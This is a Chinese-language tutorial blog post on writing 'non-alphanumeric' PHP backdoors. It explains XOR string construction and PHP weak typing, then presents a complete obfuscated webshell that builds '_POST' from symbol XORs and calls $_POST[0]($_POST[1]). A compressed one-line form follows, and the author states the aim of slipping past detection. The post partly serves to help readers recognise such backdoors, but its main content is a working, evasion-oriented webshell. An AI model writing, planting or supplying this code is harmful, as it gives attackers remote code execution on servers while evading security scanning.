編寫變態的(非字母數字的)PHP後門
在這篇文章中,我將向大家介紹如何編寫一個非字母數字的PHP後門。在編寫這種PHP後門的時候,我們首先需要了解一些基礎知識: (1)瞭解PHP (2)瞭解curl或者其他一些能夠操作HTTP請求的工具 還有一點需要大家瞭解的是PHP中異或(^)的概念。對於異或,大家肯定都有所瞭解,但是平常能用到的地方可能不多,最起碼本人不經常使用(勿噴)。之所以在這裡強調一下異或的概念,是因為異或在這種非字母數字的PHP後門中經常使用並且非常重要。 先來看下面一段程式碼: <?php echo "A" ^ "}"; ?> 執行這段程式碼,那麼輸出的結果是字元"<",之所以會得到這樣的結果,是因為程式碼中對字元"A"和字元"}"進行了異或操作。在PHP中,兩個變數進行異或時,會將字串轉換成二進位制再進行異或,異或完,又將結果從二進位制轉換成了字串。異或操作有時也被用來交換兩個變數的值。 我們都知道,PHP是弱型別的語言,也就是說在PHP中我們可以不預先宣告變數的型別,而直接宣告一個變數並進行初始化或賦值操作。正是由於PHP弱型別的這個特點,我們對PHP的變型別進行隱式的轉換,並利用這個特點進行一些非常規的操作。如將整型轉換成字串型,將布林型當作整型,或者將字串當作函式來處理,下面我們來看一段程式碼: <?php $_++; $__="<"^"}"; $__("stuff"); ?> 看到這段程式碼,大家或許會覺得很疑惑,下面我簡單的來解釋一下: (1)$_++;這行程式碼的意思是對變數名為"_"的變數進行自增操作,在PHP中未定義的變數預設值為null,null==false==0,我們可以在不使用任何數字的情況下,通過對未定義變數的自增操作來得到一個數字。 (2)$__="<"^"}";對字元"<"和"}"進行異或運算,得到結果A賦給變數名為"__"(兩個下劃線)的變數 (3)$__("stuff");通過上面的賦值操作,變數$__的值為A,所以這行可以看作是A("stuff"),在PHP中,這行程式碼表示呼叫函式A,但是由於程式中並未定義函式A,所以這行程式碼會丟擲一個致命錯誤使程式停止執行。這行程式碼沒什麼實際的意義,但是它能簡單體現出在PHP中,我們可以將字串當作函式來處理。 文章進行到這裡,大家如果再看到類似的PHP後門應該不會那麼迷惑了,你可以通過一句句的分析後門程式碼來理解後門想實現的功能。如果你依然迷惑,那說明本菜鳥的文章寫的不好,先說聲抱歉了,但是還是希望你別罵我。 上面的那段示例程式碼最後會出錯,導致程式停止執行,當然寫出一個出錯的程式並不是我們的目的,使用這種後門的主要目的是建立一些可以繞過檢測的並且對我們有用的字串,如_POST", "system", "call_user_func_array",或者是任何我們需要的東西。 下面是個非常簡單的非數字字母的PHP後門: <?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?> 我們甚至可以將上面的程式碼合併為一行,從而使程式的可讀性更差,程式碼如下: $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); 按照文章最開始的講解對程式碼進行分析,我們知道這是一個可以進行函式呼叫的PHP後門。 希望這篇文章能給大家帶來一些幫助。 最後,沒有最後!